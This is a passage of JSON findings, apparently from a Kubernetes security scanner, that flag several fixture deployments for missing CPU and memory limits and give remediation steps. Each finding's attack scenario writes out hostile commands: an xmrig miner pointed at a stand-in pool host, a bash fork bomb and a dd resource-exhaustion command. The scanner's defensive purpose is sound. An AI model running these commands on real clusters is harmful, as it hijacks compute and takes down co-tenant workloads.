      "They start a CPU miner: `xmrig -o pool.example:3333 -t $(nproc)` and immediately consume every core on the node.",
      "Co-tenant pods on the same node throttle and start failing liveness probes; the kubelet evicts other `BestEffort` workloads first.",
      "For a louder DoS: `:(){ :|:\u0026 };:` (a fork bomb) or `dd if=/dev/zero of=/dev/null bs=1M` until the node OOMs and reschedules everything. The container itself is the last to be killed because everyone else is `BestEffort` too."
    ],
    "evidence": {
      "container": "app",
      "missing_cpu_limit": true,
      "missing_cpu_req": true,
      "missing_mem_limit": true,
      "missing_mem_req": true
    },
    "remediation": "Set explicit `resources.requests` and `resources.limits` on container `app` so the pod reaches at least the `Burstable` QoS class.",
    "remediation_steps": [
      "Profile actual usage: `kubectl top pod -n cloud-eks-test --containers` over a representative window, or use Vertical Pod Autoscaler in recommendation mode (`updateMode: Off`).",
      "Declare both `requests` and `limits` for CPU and memory on container `app`. As a rule of thumb start with `requests` at the p95 of observed usage and `limits` at 2× the requests.",
      "Add a namespace `LimitRange` with sensible defaults so future workloads inherit baseline values when authors forget.",
      "Add a `ResourceQuota` to the namespace so every pod must declare resources to be admitted; new BestEffort pods will be rejected.",
      "Enforce at admission with Kyverno (`require-pod-resources`) or OPA Gatekeeper (`K8sRequiredResources`) so the check runs in CI, not after an incident."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/",
      "https://kubernetes.io/docs/concepts/policy/limit-range/",
      "https://kubernetes.io/docs/concepts/policy/resource-quotas/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://sysdig.com/blog/kubernetes-capacity-planning/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Resource Management for Pods and Containers",
        "url": "https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/"
      },
      {
        "title": "Kubernetes — LimitRange",
        "url": "https://kubernetes.io/docs/concepts/policy/limit-range/"
      },
      {
        "title": "Kubernetes — Resource Quotas",
        "url": "https://kubernetes.io/docs/concepts/policy/resource-quotas/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Sysdig — Kubernetes capacity planning: How to right-size requests and limits",
        "url": "https://sysdig.com/blog/kubernetes-capacity-planning/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1499",
        "name": "Endpoint Denial of Service",
        "url": "https://attack.mitre.org/techniques/T1499/"
      },
      {
        "id": "T1496",
        "name": "Resource Hijacking",
        "url": "https://attack.mitre.org/techniques/T1496/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:container_security",
      "check:missingResources"
    ]
  },
  {
    "id": "KUBE-CONTAINER-LIMITS-001:Deployment:cloud-eks-test:irsa-admin-app:app",
    "rule_id": "KUBE-CONTAINER-LIMITS-001",
    "severity": "MEDIUM",
    "score": 5,
    "category": "infrastructure_modification",
    "title": "Container `app` in `Deployment/cloud-eks-test/irsa-admin-app` is missing CPU limits, memory limits, CPU requests, and memory requests",
    "description": "Container `app` in workload `Deployment/cloud-eks-test/irsa-admin-app` does not declare CPU limits, memory limits, CPU requests, and memory requests. Without explicit resource limits and requests the kubelet cannot reason about the container's demand and cgroup limits are not set, so a runaway process can consume all available CPU on the node or be killed last by the OOM-killer rather than first.\n\nThis is also a Quality-of-Service classification issue. Kubernetes assigns a pod one of three QoS classes (`Guaranteed`, `Burstable`, `BestEffort`) based on which resource fields are populated, and that class drives the OOM-score adjustment and eviction order. A pod with no requests or limits at all lands in `BestEffort`, the class kubelet evicts first when the node runs out of memory, which is the opposite of what you want for a production workload.\n\nBeyond stability, missing limits also enable cryptojacking and Denial-of-Service via container compromise: an attacker who lands code execution inside a `BestEffort` container can spawn `xmrig` and consume every spare CPU cycle on the node, starving co-tenants, or fork-bomb until the node OOMs and reschedules everything. ResourceQuota enforcement at the namespace level also requires every container to declare requests/limits.",
    "resource": {
      "kind": "Deployment",
      "name": "irsa-admin-app",
      "namespace": "cloud-eks-test",
      "api_group": "apps"
    },
    "namespace": "cloud-eks-test",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/cloud-eks-test/irsa-admin-app`"
    },
    "impact": "Container can starve co-tenants of CPU or RAM on the same node, lands in the first-to-evict QoS class, and blocks ResourceQuota enforcement. After a compromise it enables silent cryptojacking and node-level DoS.",
    "attack_scenario": [
      "Attacker gains code execution in container `app` (RCE in the app, malicious dependency, SSRF→shell).",
      "They run `cat /sys/fs/cgroup/cpu.max` and see no limit, then `cat /sys/fs/cgroup/memory.max` and see `max`.",
      "They start a CPU miner: `xmrig -o pool.example:3333 -t $(nproc)` and immediately consume every core on the node.",
      "Co-tenant pods on the same node throttle and start failing liveness probes; the kubelet evicts other `BestEffort` workloads first.",
      "For a louder DoS: `:(){ :|:\u0026 };:` (a fork bomb) or `dd if=/dev/zero of=/dev/null bs=1M` until the node OOMs and reschedules everything. The container itself is the last to be killed because everyone else is `BestEffort` too."
    ],
    "evidence": {
      "container": "app",
      "missing_cpu_limit": true,
      "missing_cpu_req": true,
      "missing_mem_limit": true,
      "missing_mem_req": true
    },
    "remediation": "Set explicit `resources.requests` and `resources.limits` on container `app` so the pod reaches at least the `Burstable` QoS class.",
    "remediation_steps": [
      "Profile actual usage: `kubectl top pod -n cloud-eks-test --containers` over a representative window, or use Vertical Pod Autoscaler in recommendation mode (`updateMode: Off`).",
      "Declare both `requests` and `limits` for CPU and memory on container `app`. As a rule of thumb start with `requests` at the p95 of observed usage and `limits` at 2× the requests.",
      "Add a namespace `LimitRange` with sensible defaults so future workloads inherit baseline values when authors forget.",
      "Add a `ResourceQuota` to the namespace so every pod must declare resources to be admitted; new BestEffort pods will be rejected.",
      "Enforce at admission with Kyverno (`require-pod-resources`) or OPA Gatekeeper (`K8sRequiredResources`) so the check runs in CI, not after an incident."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/",
      "https://kubernetes.io/docs/concepts/policy/limit-range/",
      "https://kubernetes.io/docs/concepts/policy/resource-quotas/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://sysdig.com/blog/kubernetes-capacity-planning/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Resource Management for Pods and Containers",
        "url": "https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/"
      },
      {
        "title": "Kubernetes — LimitRange",
        "url": "https://kubernetes.io/docs/concepts/policy/limit-range/"
      },
      {
        "title": "Kubernetes — Resource Quotas",
        "url": "https://kubernetes.io/docs/concepts/policy/resource-quotas/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Sysdig — Kubernetes capacity planning: How to right-size requests and limits",
        "url": "https://sysdig.com/blog/kubernetes-capacity-planning/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1499",
        "name": "Endpoint Denial of Service",
        "url": "https://attack.mitre.org/techniques/T1499/"
      },
      {
        "id": "T1496",
        "name": "Resource Hijacking",
        "url": "https://attack.mitre.org/techniques/T1496/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:container_security",
      "check:missingResources"
    ]
  },
  {
    "id": "KUBE-CONTAINER-LIMITS-001:Deployment:containersec-fixtures:containersec-limits:app",
    "rule_id": "KUBE-CONTAINER-LIMITS-001",
    "severity": "MEDIUM",
    "score": 5,
    "category": "infrastructure_modification",
    "title": "Container `app` in `Deployment/containersec-fixtures/containersec-limits` is missing CPU limits, memory limits, CPU requests, and memory requests",
    "description": "Container `app` in workload `Deployment/containersec-fixtures/containersec-limits` does not declare CPU limits, memory limits, CPU requests, and memory requests. Without explicit resource limits and requests the kubelet cannot reason about the container's demand and cgroup limits are not set, so a runaway process can consume all available CPU on the node or be killed last by the OOM-killer rather than first.\n\nThis is also a Quality-of-Service classification issue. Kubernetes assigns a pod one of three QoS classes (`Guaranteed`, `Burstable`, `BestEffort`) based on which resource fields are populated, and that class drives the OOM-score adjustment and eviction order. A pod with no requests or limits at all lands in `BestEffort`, the class kubelet evicts first when the node runs out of memory, which is the opposite of what you want for a production workload.\n\nBeyond stability, missing limits also enable cryptojacking and Denial-of-Service via container compromise: an attacker who lands code execution inside a `BestEffort` container can spawn `xmrig` and consume every spare CPU cycle on the node, starving co-tenants, or fork-bomb until the node OOMs and reschedules everything. ResourceQuota enforcement at the namespace level also requires every container to declare requests/limits.",
    "resource": {
      "kind": "Deployment",
      "name": "containersec-limits",
      "namespace": "containersec-fixtures",
      "api_group": "apps"
    },
    "namespace": "containersec-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/containersec-fixtures/containersec-limits`"
    },
    "impact": "Container can starve co-tenants of CPU or RAM on the same node, lands in the first-to-evict QoS class, and blocks ResourceQuota enforcement. After a compromise it enables silent cryptojacking and node-level DoS.",
    "attack_scenario": [
      "Attacker gains code execution in container `app` (RCE in the app, malicious dependency, SSRF→shell).",
      "They run `cat /sys/fs/cgroup/cpu.max` and see no limit, then `cat /sys/fs/cgroup/memory.max` and see `max`.",
      "They start a CPU miner: `xmrig -o pool.example:3333 -t $(nproc)` and immediately consume every core on the node.",
      "Co-tenant pods on the same node throttle and start failing liveness probes; the kubelet evicts other `BestEffort` workloads first.",
      "For a louder DoS: `:(){ :|:\u0026 };:` (a fork bomb) or `dd if=/dev/zero of=/dev/null bs=1M` until the node OOMs and reschedules everything. The container itself is the last to be killed because everyone else is `BestEffort` too."
    ],
    "evidence": {
      "container": "app",
      "missing_cpu_limit": true,
      "missing_cpu_req": true,
      "missing_mem_limit": true,
      "missing_mem_req": true
    },
    "remediation": "Set explicit `resources.requests` and `resources.limits` on container `app` so the pod reaches at least the `Burstable` QoS class.",
    "remediation_steps": [
      "Profile actual usage: `kubectl top pod -n containersec-fixtures --containers` over a representative window, or use Vertical Pod Autoscaler in recommendation mode (`updateMode: Off`).",
      "Declare both `requests` and `limits` for CPU and memory on container `app`. As a rule of thumb start with `requests` at the p95 of observed usage and `limits` at 2× the requests.",
      "Add a namespace `LimitRange` with sensible defaults so future workloads inherit baseline values when authors forget.",
      "Add a `ResourceQuota` to the namespace so every pod must declare resources to be admitted; new BestEffort pods will be rejected.",
      "Enforce at admission with Kyverno (`require-pod-resources`) or OPA Gatekeeper (`K8sRequiredResources`) so the check runs in CI, not after an incident."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/",
      "https://kubernetes.io/docs/concepts/policy/limit-range/",
      "https://kubernetes.io/docs/concepts/policy/resource-quotas/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://sysdig.com/blog/kubernetes-capacity-planning/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Resource Management for Pods and Containers",
        "url": "https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/"
      },
      {
        "title": "Kubernetes — LimitRange",
        "url": "https://kubernetes.io/docs/concepts/policy/limit-range/"
      },
      {
        "title": "Kubernetes — Resource Quotas",
        "url": "https://kubernetes.io/docs/concepts/policy/resource-quotas/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Sysdig — Kubernetes capacity planning: How to right-size requests and limits",
        "url": "https://sysdig.com/blog/kubernetes-capacity-planning/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1499",
        "name": "Endpoint Denial of Service",
        "url": "https://attack.mitre.org/techniques/T1499/"
      },
      {
        "id": "T1496",
        "name": "Resource Hijacking",
        "url": "https://attack.mitre.org/techniques/T1496/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:container_security",
      "check:missingResources"
    ]
  },
  {
    "id": "KUBE-CONTAINER-LIMITS-001:Deployment:csr-fixtures:csr-mint-app:app",
    "rule_id": "KUBE-CONTAINER-LIMITS-001",
    "severity": "MEDIUM",
    "score": 5,
    "category": "infrastructure_modification",
    "title": "Container `app` in `Deployment/csr-fixtures/csr-mint-app` is missing CPU limits, memory limits, CPU requests, and memory requests",
    "description": "Container `app` in workload `Deployment/csr-fixtures/csr-mint-app` does not declare CPU limits, memory limits, CPU requests, and memory requests. Without explicit resource limits and requests the kubelet cannot reason about the container's demand and cgroup limits are not set, so a runaway process can consume all available CPU on the node or be killed last by the OOM-killer rather than first.\n\nThis is also a Quality-of-Service classification issue. Kubernetes assigns a pod one of three QoS classes (`Guaranteed`, `Burstable`, `BestEffort`) based on which resource fields are populated, and that class drives the OOM-score adjustment and eviction order. A pod with no requests or limits at all lands in `BestEffort`, the class kubelet evicts first when the node runs out of memory, which is the opposite of what you want for a production workload.\n\nBeyond stability, missing limits also enable cryptojacking and Denial-of-Service via container compromise: an attacker who lands code execution inside a `BestEffort` container can spawn `xmrig` and consume every spare CPU cycle on the node, starving co-tenants, or fork-bomb until the node OOMs and reschedules everything. ResourceQuota enforcement at the namespace level also requires every container to declare requests/limits.",
    "resource": {
      "kind": "Deployment",
      "name": "csr-mint-app",
      "namespace": "csr-fixtures",
      "api_group": "apps"
    },
    "namespace": "csr-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/csr-fixtures/csr-mint-app`"
    },
    "impact": "Container can starve co-tenants of CPU or RAM on the same node, lands in the first-to-evict QoS class, and blocks ResourceQuota enforcement. After a compromise it enables silent cryptojacking and node-level DoS.",
    "attack_scenario": [
      "Attacker gains code execution in container `app` (RCE in the app, malicious dependency, SSRF→shell).",
      "They run `cat /sys/fs/cgroup/cpu.max` and see no limit, then `cat /sys/fs/cgroup/memory.max` and see `max`.",
      "They start a CPU miner: `xmrig -o pool.example:3333 -t $(nproc)` and immediately consume every core on the node.",
      "Co-tenant pods on the same node throttle and start failing liveness probes; the kubelet evicts other `BestEffort` workloads first.",
      "For a louder DoS: `:(){ :|:\u0026 };:` (a fork bomb) or `dd if=/dev/zero of=/dev/null bs=1M` until the node OOMs and reschedules everything. The container itself is the last to be killed because everyone else is `BestEffort` too."
    ],
    "evidence": {
      "container": "app",
      "missing_cpu_limit": true,
      "missing_cpu_req": true,
      "missing_mem_limit": true,
      "missing_mem_req": true
    },
    "remediation": "Set explicit `resources.requests` and `resources.limits` on container `app` so the pod reaches at least the `Burstable` QoS class.",
    "remediation_steps": [
      "Profile actual usage: `kubectl top pod -n csr-fixtures --containers` over a representative window, or use Vertical Pod Autoscaler in recommendation mode (`updateMode: Off`).",
      "Declare both `requests` and `limits` for CPU and memory on container `app`. As a rule of thumb start with `requests` at the p95 of observed usage and `limits` at 2× the requests.",
      "Add a namespace `LimitRange` with sensible defaults so future workloads inherit baseline values when authors forget.",
      "Add a `ResourceQuota` to the namespace so every pod must declare resources to be admitted; new BestEffort pods will be rejected.",
      "Enforce at admission with Kyverno (`require-pod-resources`) or OPA Gatekeeper (`K8sRequiredResources`) so the check runs in CI, not after an incident."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/",
      "https://kubernetes.io/docs/concepts/policy/limit-range/",
      "https://kubernetes.io/docs/concepts/policy/resource-quotas/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://sysdig.com/blog/kubernetes-capacity-planning/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Resource Management for Pods and Containers",
        "url": "https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/"
      },
      {
        "title": "Kubernetes — LimitRange",
        "url": "https://kubernetes.io/docs/concepts/policy/limit-range/"
      },
      {
        "title": "Kubernetes — Resource Quotas",
        "url": "https://kubernetes.io/docs/concepts/policy/resource-quotas/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Sysdig — Kubernetes capacity planning: How to right-size requests and limits",
        "url": "https://sysdig.com/blog/kubernetes-capacity-planning/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1499",
        "name": "Endpoint Denial of Service",
        "url": "https://attack.mitre.org/techniques/T1499/"
      },
      {
        "id": "T1496",
        "name": "Resource Hijacking",
        "url": "https://attack.mitre.org/techniques/T1496/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:container_security",
      "check:missingResources"
    ]
  },
  {
    "id": "KUBE-CONTAINER-LIMITS-001:Deployment:csr-fixtures:csr-sign-app:app",
    "rule_id": "KUBE-CONTAINER-LIMITS-001",
    "severity": "MEDIUM",
    "score": 5,
    "category": "infrastructure_modification",
    "title": "Container `app` in `Deployment/csr-fixtures/csr-sign-app` is missing CPU limits, memory limits, CPU requests, and memory requests",
    "description": "Container `app` in workload `Deployment/csr-fixtures/csr-sign-app` does not declare CPU limits, memory limits, CPU requests, and memory requests. Without explicit resource limits and requests the kubelet cannot reason about the container's demand and cgroup limits are not set, so a runaway process can consume all available CPU on the node or be killed last by the OOM-killer rather than first.\n\nThis is also a Quality-of-Service classification issue. Kubernetes assigns a pod one of three QoS classes (`Guaranteed`, `Burstable`, `BestEffort`) based on which resource fields are populated, and that class drives the OOM-score adjustment and eviction order. A pod with no requests or limits at all lands in `BestEffort`, the class kubelet evicts first when the node runs out of memory, which is the opposite of what you want for a production workload.\n\nBeyond stability, missing limits also enable cryptojacking and Denial-of-Service via container compromise: an attacker who lands code execution inside a `BestEffort` container can spawn `xmrig` and consume every spare CPU cycle on the node, starving co-tenants, or fork-bomb until the node OOMs and reschedules everything. ResourceQuota enforcement at the namespace level also requires every container to declare requests/limits.",
    "resource": {
      "kind": "Deployment",
      "name": "csr-sign-app",
      "namespace": "csr-fixtures",
      "api_group": "apps"
    },
    "namespace": "csr-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/csr-fixtures/csr-sign-app`"
    },
    "impact": "Container can starve co-tenants of CPU or RAM on the same node, lands in the first-to-evict QoS class, and blocks ResourceQuota enforcement. After a compromise it enables silent cryptojacking and node-level DoS.",
    "attack_scenario": [
      "Attacker gains code execution in container `app` (RCE in the app, malicious dependency, SSRF→shell).",
      "They run `cat /sys/fs/cgroup/cpu.max` and see no limit, then `cat /sys/fs/cgroup/memory.max` and see `max`.",
      "They start a CPU miner: `xmrig -o pool.example:3333 -t $(nproc)` and immediately consume every core on the node.",
      "Co-tenant pods on the same node throttle and start failing liveness probes; the kubelet evicts other `BestEffort` workloads first.",
      "For a louder DoS: `:(){ :|:\u0026 };:` (a fork bomb) or `dd if=/dev/zero of=/dev/null bs=1M` until the node OOMs and reschedules everything. The container itself is the last to be killed because everyone else is `BestEffort` too."
    ],
    "evidence": {
      "container": "app",
      "missing_cpu_limit": true,
      "missing_cpu_req": true,
      "missing_mem_limit": true,
      "missing_mem_req": true
    },
    "remediation": "Set explicit `resources.requests` and `resources.limits` on container `app` so the pod reaches at least the `Burstable` QoS class.",
    "remediation_steps": [
      "Profile actual usage: `kubectl top pod -n csr-fixtures --containers` over a representative window, or use Vertical Pod Autoscaler in recommendation mode (`updateMode: Off`).",
      "Declare both `requests` and `limits` for CPU and memory on container `app`. As a rule of thumb start with `requests` at the p95 of observed usage and `limits` at 2× the requests.",
      "Add a namespace `LimitRange` with sensible defaults so future workloads inherit baseline values when authors forget.",
      "Add a `ResourceQuota` to the namespace so every pod must declare resources to be admitted; new BestEffort pods will be rejected.",
      "Enforce at admission with Kyverno (`require-pod-resources`) or OPA Gatekeeper (`K8sRequiredResources`) so the check runs in CI, not after an incident."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/",
      "https://kubernetes.io/docs/concepts/policy/limit-range/",
      "https://kubernetes.io/docs/concepts/policy/resource-quotas/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://sysdig.com/blog/kubernetes-capacity-planning/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Resource Management for Pods and Containers",
        "url": "https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/"
      },
      {
        "title": "Kubernetes — LimitRange",
        "url": "https://kubernetes.io/docs/concepts/policy/limit-range/"
      },
      {
        "title": "Kubernetes — Resource Quotas",
        "url": "https://kubernetes.io/docs/concepts/policy/resource-quotas/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Sysdig — Kubernetes capacity planning: How to right-size requests and limits",
        "url": "https://sysdig.com/blog/kubernetes-capacity-planning/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1499",
        "name": "Endpoint Denial of Service",
        "url": "https://attack.mitre.org/techniques/T1499/"
      },
      {
        "id": "T1496",
        "name": "Resource Hijacking",
        "url": "https://attack.mitre.org/techniques/T1496/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:container_security",
      "check:missingResources"
    ]
  },
  {
    "id": "KUBE-CONTAINER-LIMITS-001:Deployment:flat-network:unmatched:app",
    "rule_id": "KUBE-CONTAINER-LIMITS-001",
    "severity": "MEDIUM",
    "score": 5,
    "category": "infrastructure_modification",
    "title": "Container `app` in `Deployment/flat-network/unmatched` is missing CPU limits, memory limits, CPU requests, and memory requests",
    "description": "Container `app` in workload `Deployment/flat-network/unmatched` does not declare CPU limits, memory limits, CPU requests, and memory requests. Without explicit resource limits and requests the kubelet cannot reason about the container's demand and cgroup limits are not set, so a runaway process can consume all available CPU on the node or be killed last by the OOM-killer rather than first.\n\nThis is also a Quality-of-Service classification issue. Kubernetes assigns a pod one of three QoS classes (`Guaranteed`, `Burstable`, `BestEffort`) based on which resource fields are populated, and that class drives the OOM-score adjustment and eviction order. A pod with no requests or limits at all lands in `BestEffort`, the class kubelet evicts first when the node runs out of memory, which is the opposite of what you want for a production workload.\n\nBeyond stability, missing limits also enable cryptojacking and Denial-of-Service via container compromise: an attacker who lands code execution inside a `BestEffort` container can spawn `xmrig` and consume every spare CPU cycle on the node, starving co-tenants, or fork-bomb until the node OOMs and reschedules everything. ResourceQuota enforcement at the namespace level also requires every container to declare requests/limits.",
    "resource": {
      "kind": "Deployment",
      "name": "unmatched",
      "namespace": "flat-network",
      "api_group": "apps"
    },
    "namespace": "flat-network",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/flat-network/unmatched`"
    },
    "impact": "Container can starve co-tenants of CPU or RAM on the same node, lands in the first-to-evict QoS class, and blocks ResourceQuota enforcement. After a compromise it enables silent cryptojacking and node-level DoS.",
    "attack_scenario": [
      "Attacker gains code execution in container `app` (RCE in the app, malicious dependency, SSRF→shell).",
      "They run `cat /sys/fs/cgroup/cpu.max` and see no limit, then `cat /sys/fs/cgroup/memory.max` and see `max`.",
      "They start a CPU miner: `xmrig -o pool.example:3333 -t $(nproc)` and immediately consume every core on the node.",
      "Co-tenant pods on the same node throttle and start failing liveness probes; the kubelet evicts other `BestEffort` workloads first.",
      "For a louder DoS: `:(){ :|:\u0026 };:` (a fork bomb) or `dd if=/dev/zero of=/dev/null bs=1M` until the node OOMs and reschedules everything. The container itself is the last to be killed because everyone else is `BestEffort` too."
    ],
    "evidence": {
      "container": "app",
      "missing_cpu_limit": true,
      "missing_cpu_req": true,
      "missing_mem_limit": true,
      "missing_mem_req": true
    },
    "remediation": "Set explicit `resources.requests` and `resources.limits` on container `app` so the pod reaches at least the `Burstable` QoS class.",
    "remediation_steps": [
      "Profile actual usage: `kubectl top pod -n flat-network --containers` over a representative window, or use Vertical Pod Autoscaler in recommendation mode (`updateMode: Off`).",
      "Declare both `requests` and `limits` for CPU and memory on container `app`. As a rule of thumb start with `requests` at the p95 of observed usage and `limits` at 2× the requests.",
      "Add a namespace `LimitRange` with sensible defaults so future workloads inherit baseline values when authors forget.",
      "Add a `ResourceQuota` to the namespace so every pod must declare resources to be admitted; new BestEffort pods will be rejected.",
      "Enforce at admission with Kyverno (`require-pod-resources`) or OPA Gatekeeper (`K8sRequiredResources`) so the check runs in CI, not after an incident."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/",
      "https://kubernetes.io/docs/concepts/policy/limit-range/",
      "https://kubernetes.io/docs/concepts/policy/resource-quotas/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://sysdig.com/blog/kubernetes-capacity-planning/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Resource Management for Pods and Containers",
        "url": "https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/"
      },
      {
        "title": "Kubernetes — LimitRange",
        "url": "https://kubernetes.io/docs/concepts/policy/limit-range/"
      },
      {
        "title": "Kubernetes — Resource Quotas",
        "url": "https://kubernetes.io/docs/concepts/policy/resource-quotas/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Sysdig — Kubernetes capacity planning: How to right-size requests and limits",
        "url": "https://sysdig.com/blog/kubernetes-capacity-planning/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1499",
        "name": "Endpoint Denial of Service",
        "url": "https://attack.mitre.org/techniques/T1499/"
      },
      {
        "id": "T1496",
        "name": "Resource Hijacking",
        "url": "https://attack.mitre.org/techniques/T1496/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:container_security",
      "check:missingResources"
    ]
  },
  {
    "id": "KUBE-CONTAINER-LIMITS-001:Deployment:foothold-fixtures:foothold-priv-app:app",
    "rule_id": "KUBE-CONTAINER-LIMITS-001",
    "severity": "MEDIUM",
    "score": 5,
    "category": "infrastructure_modification",
    "title": "Container `app` in `Deployment/foothold-fixtures/foothold-priv-app` is missing CPU limits, memory limits, CPU requests, and memory requests",
    "description": "Container `app` in workload `Deployment/foothold-fixtures/foothold-priv-app` does not declare CPU limits, memory limits, CPU requests, and memory requests. Without explicit resource limits and requests the kubelet cannot reason about the container's demand and cgroup limits are not set, so a runaway process can consume all available CPU on the node or be killed last by the OOM-killer rather than first.\n\nThis is also a Quality-of-Service classification issue. Kubernetes assigns a pod one of three QoS classes (`Guaranteed`, `Burstable`, `BestEffort`) based on which resource fields are populated, and that class drives the OOM-score adjustment and eviction order. A pod with no requests or limits at all lands in `BestEffort`, the class kubelet evicts first when the node runs out of memory, which is the opposite of what you want for a production workload.\n\nBeyond stability, missing limits also enable cryptojacking and Denial-of-Service via container compromise: an attacker who lands code execution inside a `BestEffort` container can spawn `xmrig` and consume every spare CPU cycle on the node, starving co-tenants, or fork-bomb until the node OOMs and reschedules everything. ResourceQuota enforcement at the namespace level also requires every container to declare requests/limits.",
    "resource": {
      "kind": "Deployment",
      "name": "foothold-priv-app",
      "namespace": "foothold-fixtures",
      "api_group": "apps"
    },
    "namespace": "foothold-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/foothold-fixtures/foothold-priv-app`"
    },
    "impact": "Container can starve co-tenants of CPU or RAM on the same node, lands in the first-to-evict QoS class, and blocks ResourceQuota enforcement. After a compromise it enables silent cryptojacking and node-level DoS.",
    "attack_scenario": [
      "Attacker gains code execution in container `app` (RCE in the app, malicious dependency, SSRF→shell).",
      "They run `cat /sys/fs/cgroup/cpu.max` and see no limit, then `cat /sys/fs/cgroup/memory.max` and see `max`.",
      "They start a CPU miner: `xmrig -o pool.example:3333 -t $(nproc)` and immediately consume every core on the node.",
      "Co-tenant pods on the same node throttle and start failing liveness probes; the kubelet evicts other `BestEffort` workloads first.",
      "For a louder DoS: `:(){ :|:\u0026 };:` (a fork bomb) or `dd if=/dev/zero of=/dev/null bs=1M` until the node OOMs and reschedules everything. The container itself is the last to be killed because everyone else is `BestEffort` too."
    ],
    "evidence": {
      "container": "app",
      "missing_cpu_limit": true,
      "missing_cpu_req": true,
      "missing_mem_limit": true,
      "missing_mem_req": true
    },
    "remediation": "Set explicit `resources.requests` and `resources.limits` on container `app` so the pod reaches at least the `Burstable` QoS class.",
    "remediation_steps": [
      "Profile actual usage: `kubectl top pod -n foothold-fixtures --containers` over a representative window, or use Vertical Pod Autoscaler in recommendation mode (`updateMode: Off`).",
      "Declare both `requests` and `limits` for CPU and memory on container `app`. As a rule of thumb start with `requests` at the p95 of observed usage and `limits` at 2× the requests.",
      "Add a namespace `LimitRange` with sensible defaults so future workloads inherit baseline values when authors forget.",
      "Add a `ResourceQuota` to the namespace so every pod must declare resources to be admitted; new BestEffort pods will be rejected.",
      "Enforce at admission with Kyverno (`require-pod-resources`) or OPA Gatekeeper (`K8sRequiredResources`) so the check runs in CI, not after an incident."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/",
      "https://kubernetes.io/docs/concepts/policy/limit-range/",
      "https://kubernetes.io/docs/concepts/policy/resource-quotas/",
